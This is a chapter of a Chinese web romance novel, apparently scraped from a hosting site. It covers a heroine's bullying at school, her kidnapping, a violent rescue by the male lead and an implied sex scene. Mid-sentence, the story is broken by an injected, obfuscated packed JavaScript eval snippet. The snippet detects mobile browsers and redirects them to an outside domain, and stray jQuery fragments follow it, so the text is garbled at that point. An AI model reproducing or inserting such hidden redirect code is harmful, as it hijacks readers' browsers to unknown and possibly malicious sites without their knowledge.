42. 第 42 章

作品:《情不自禁

    周一早晨,沈妙妙早早起床,仔细梳好马尾辫,穿上浅粉色衬衫和深蓝色牛仔裤。严母想给她买更多新衣服,但她坚持这些就够了。


    依旧是严嵘亲自送她到校。


    她一进教室,窃窃私语就如潮水般涌来。


    “看,就是她……”


    “听说住在严家别墅……”


    “不会是严嵘的女朋友吧?”


    沈妙妙并不理会,低着头找到座位。


    英语课开始后,情况有些糟糕。英语老师让沈妙妙用英文介绍自己,她努力控制乡音,磕磕绊绊蹦出几个单词。


    教室后排顿时传来一声夸张的嗤笑。


    此人是林嘉怡,开学第一天就对她冷嘲热讽的富家女。


    “Verygood,Miaomiao。”英语老师鼓励道。


    下课后,林嘉怡带着几个女生拦住了沈妙妙的去路。


    “听说你是靠关系进来的?”林嘉怡把玩着最新款的iPhone,“严家给了学校多少钱啊?”


    沈妙妙:“关你什么事?”


    “当然关我事。”林嘉怡靠近她,“因为我看你不爽!”


    周围响起几声窃笑。


    沈妙妙感到血液冲上头顶,“这位林同学,心里有病就去医院治,否则耽误了病情可是要死人哦。”


    周围瞬间安静下来。


    林嘉怡脸色铁青,正要发作,上课铃响了。


    “咱们走着瞧。”她恶狠狠地丢下一句,转身离开。


    中午在食堂,沈妙妙独自坐在角落。正当她低头吃饭时,一杯可乐突然从旁边倾倒,洒了她一身。


    “哎呀,不小心。”林嘉怡故作惊讶,“需要我赔你衣服吗?哦对了,你这衣服值钱吗?”


    沈妙妙站起来,可乐顺着衣角滴落。食堂里所有人的目光都集中过来,她感到呼吸困难。


    “把她身上的可乐给我舔干净!”一个冷酷的声音从身后传来。


    严嵘不知何时出现在沈妙妙身边,脸色阴沉得可怕。


    林嘉怡一看见严嵘,脸色瞬间就白了,“我只是不小心……”妈呀,这个男人好可怕,光眼神就能吃了她。


    “我再说一遍,舔干净!”严嵘的声音不大,却带着不容置疑的力量。


    林嘉怡咬着嘴唇,眼泪挂在眼眶里,要掉不掉,“妙妙,对不起,我不是故意的,我赔你衣服,能不能不要让我……”她实在说不下去了,实在太丢人了。


    沈妙妙也不想把事情闹得这么难看,伸手扯了扯严嵘的袖子,“算了,我今后还要在这里读书的,多一事不如少一事。”


    严嵘沉默片刻,作出让步,“既然妙妙不跟你计较,我也就不追究了,如果有下次,就算天王老子来求老子都没用。”


    “我保证,绝对不会有下一次。”林嘉怡做完保证,就匆匆离开了。


    严嵘牵起沈妙妙的手,“走,我带你去换衣服。”


    他们离开后,食堂炸开了锅。


    “严嵘为她发了好大的火!”


    “听说那女孩住在严家……”


    “那女孩真是好命……”


    流言如野火般蔓延。当天下午,沈妙妙就发现所有人看她的眼神更奇怪了——有好奇,有嫉妒,还有赤裸裸的敌意。


    沈妙妙才不管别人怎么看她,只要她没做违法的事,任何人都奈何不了她。


    时间过得很快,一眨眼就过去一个月了。


    在这期间,沈妙妙已经适应了大学生活。令人想不到的是,林嘉怡竟然跟她成了朋友。


    “妙妙,这个周末我过生日,你有没有空来参加我的生日party?”林嘉怡带着期盼的眼神望着她。


    沈妙妙不忍拒绝她,点了点头,“我有空。你有没有什么喜欢的,我送你。”


    “你人来就好,不需要带任何礼物的。”


    沈妙妙知道这是客套话,准备到周五晚上,独自去商场挑选礼物。


    *


    商场霓虹灯在雨后的路面上投下破碎的倒影,沈妙妙抱着精心包装的礼物盒走出商场的旋转门。


    刺耳的刹车声骤然撕裂夜空。


    沈妙妙还没反应过来,两只铁钳般的手已经从身后锁住她的肩膀。礼物盒砸在地上,包装纸被泥水浸透的瞬间,她闻到一股刺鼻的味道。


    “救——”呼救声被粗糙的胶带截断,视线天旋地转。


    面包车里弥漫着机油和烟草的浑浊气味。


    “老实点,不然老子要你好看。”绑匪恶狠狠地甩了她一巴掌。


    沈妙妙被打的眼冒金星。


    车辆颠簸着驶入郊区,绑匪正在通话:“人抓到了……”


    电话那头传来模糊的女声,沈妙妙突然僵住——那语调像极了秦婉的声音。


    “您要亲自验货?”绑匪嗤笑着挂断电话,转头用刀尖挑起沈妙妙下巴,“乡巴佬,你说严嵘愿意花多少钱赎你?”


    沈妙妙舌尖顶着上颚,这是她紧张时的小动作。


    “你们搞错人了。”她拼命冷静下来,“我只是严家保姆的远亲。”


    绑匪大笑起来,烟味喷在她脸上:”装得挺像。可惜那位小姐给我们看过照片。”


    沈妙妙瞳孔骤缩。


    轮胎碾过碎石路的声响突然密集。沈妙妙借着颠簸假装摔倒,膝盖重重磕在车门把手上。疼痛让她眼泪直流,却也掩住了她摸到门锁开关的细微声响。


    “到了。”绑匪拽着她头发拖下车。


    月光下是栋废弃化工厂,铁门锈迹斑斑。


    “砰!”她被推进二楼的一间办公室。


    灰尘在月光中飞舞,墙上还挂着某一年的生产流程图。沈妙妙蜷缩在墙角,听见绑匪在门外交谈:


    “先关两天……等严家乱套……”


    “那位秦“小姐真狠……要我们拍裸照……”脚步声渐远,直到彻底消失后。


    月光透过破碎的窗户投下锯齿状的光斑,照在墙角一截生锈的铁管上。沈妙妙蠕动着蹭过去,用背后的手腕摸索铁管边缘。


    她听严嵘说过,生锈的金属往往比想象中锋利。


    扎带在铁锈上来回摩擦,塑料纤维一根根断裂。汗水顺着她的太阳穴滑落,混合着血腥味渗入嘴角。


    十五分钟,或者更久,随着最后“啪”的一声轻响,手腕终于恢复自由。


    沈妙妙没有立刻起身。


    她保持着蜷缩的姿势,耳朵贴着地面——这是小时候放鹅时学会的技巧,能听见两里外的脚步声。确认暂时安全后,她快速扫视整个房间,准备从窗户那里逃出去。


    然而就在此时,门外突然传来急促的脚步声。


    “妈的,严家报警了!”绑匪怒吼道,“先把那个女人处理掉!”


    沈妙妙的后背瞬间渗出冷汗。


    她抓紧时间冲向窗口,却听见厂房外传来引擎咆哮的声浪。刺目的远光灯穿透破碎的玻璃窗,将整个房间照得雪亮。


    “是严家的车!”另一个绑匪惊呼。


    下一秒,震耳欲聋的撞击声伴随着金属扭曲的尖叫响彻夜空。


    沈妙妙扑到窗边,看见一辆大卡车直接撞开了工厂铁门。卡车后面跟着一辆迈巴赫,车门弹开的瞬间,那个熟悉的高大身影让她心脏漏跳一拍。


    严嵘。


    他提着一把大砍刀,在月光下,泛着森冷寒光。他身后跟着十几个黑衣保镖,每个人手里都拿着铁棍和绳索,像一群从地狱里爬出来的修罗。


    沈妙妙从未见过这样的严嵘——他向来梳得一丝不苟的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15671449|165401||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    头发此刻凌乱地散落额前,衬衫领口大敞,露出锁骨处一道新鲜的血痕。最令人心惊的是他的眼神,那双总是冷静自持的眼睛此刻燃烧着骇人的怒火。


    “人在哪?”严嵘的声音不大,却让整个厂房瞬间安静下来。


    绑匪头子举着棍子的手明显抖了一下:“严、严总,这是个误会......”


    刀光闪过,绑匪的惨叫划破夜空。


    沈妙妙眼睁睁看着那把砍刀擦着绑匪的耳朵钉入身后的墙壁,刀身震颤着发出嗡鸣。


    “最后一次机会。”严嵘慢条斯理地摘下手表递给保镖,“人在哪?”


    二楼突然传来玻璃碎裂的声音。


    所有人抬头,看见沈妙妙半个身子已经探出窗外,长发在夜风中飞舞。


    “妙妙!”严嵘三步并作两步冲向楼梯,保镖们立刻将剩余绑匪按倒在地。


    沈妙妙听见身后门被踹开的巨响,转身时看见严嵘站在门口,胸口剧烈起伏。月光从他背后照进来,在地上投下长长的阴影。


    “你......”她刚开口,就被严嵘一把拽进怀里。


    男人身上熟悉的气息混合着血腥味扑面而来,他的手臂箍得她生疼,仿佛要把她揉进骨血里。


    “疼......”沈妙妙小声抗议,却感觉到严嵘整个人都在发抖。


    “知道疼还乱跑?”严嵘松开她,声音嘶哑得不成样子。他粗糙的指腹擦过她脸上的伤口,动作轻柔的不像话。


    沈妙妙这才注意到严嵘右手虎口裂开一道狰狞的伤口,血顺着指尖滴落。她下意识抓住他的手腕:“你受伤了。”


    严嵘却反手握住她冰凉的手指,目光落在她被磨破的手腕上:“谁绑的你?”


    “我听见他们提到秦小姐……”


    严嵘的眼神瞬间变得危险,“秦婉?”


    沈妙妙没吭声。


    严嵘:“死女人,她在找死。”


    远处警笛声渐近,严嵘打横将沈妙妙抱起。


    下楼时,沈妙妙看见满地狼藉中,那把砍刀还钉在墙壁上,刀身映着月光,像一弯嗜血的新月。


    “严嵘,”她突然小声问,“你怎么找到我的?”


    严嵘脚步一顿,低头看她时眼神复杂:“你戴的珍珠发夹,里面有定位器。”


    沈妙妙瞪大眼睛,下意识去摸头发,却发现发夹早已不知去向。严嵘突然轻笑一声,从口袋里掏出那个沾血的发夹,重新为她戴上。


    警车的蓝光在厂房外闪烁,严嵘却抱着她径直走向迈巴赫。


    沈妙妙听见警察恭敬地称呼“严先生”。


    只见严嵘点了点头,客气道:“这里就交给各位了。”


    “严先生不必客气,这是我们职责所在。”


    车门关上的瞬间,沈妙妙终于忍不住颤抖起来。


    严嵘将她搂得更紧,嘴唇贴在她发顶:“没事了。”


    迈巴赫驶离废弃工厂时,沈妙妙透过车窗看见绑匪被警察押上警车。


    严嵘伸手按下隔板,将一切喧嚣隔绝在外。昏暗的车厢里,他捧起沈妙妙的脸,额头抵着她的:“以后出门,必须带保镖。”


    沈妙妙想反驳,却被他用拇指按住嘴唇。月光透过车窗洒在严嵘轮廓分明的侧脸上,她第一次看清这个男人眼底藏着的后怕与珍视。


    “不许拒绝。”


    面对这样强势的男人,沈妙妙还能说什么呢,乖乖地在他怀里点了点头,将身体紧紧依附着他。


    “严嵘,我想要,给我。”


    “好,给你,小妖精……”


    司机得到吩咐,将迈巴赫停到路边,下车抽烟去了。


    不一会儿,迈巴赫剧烈地震动起来。


    “喜欢吗?”


    “嗯……”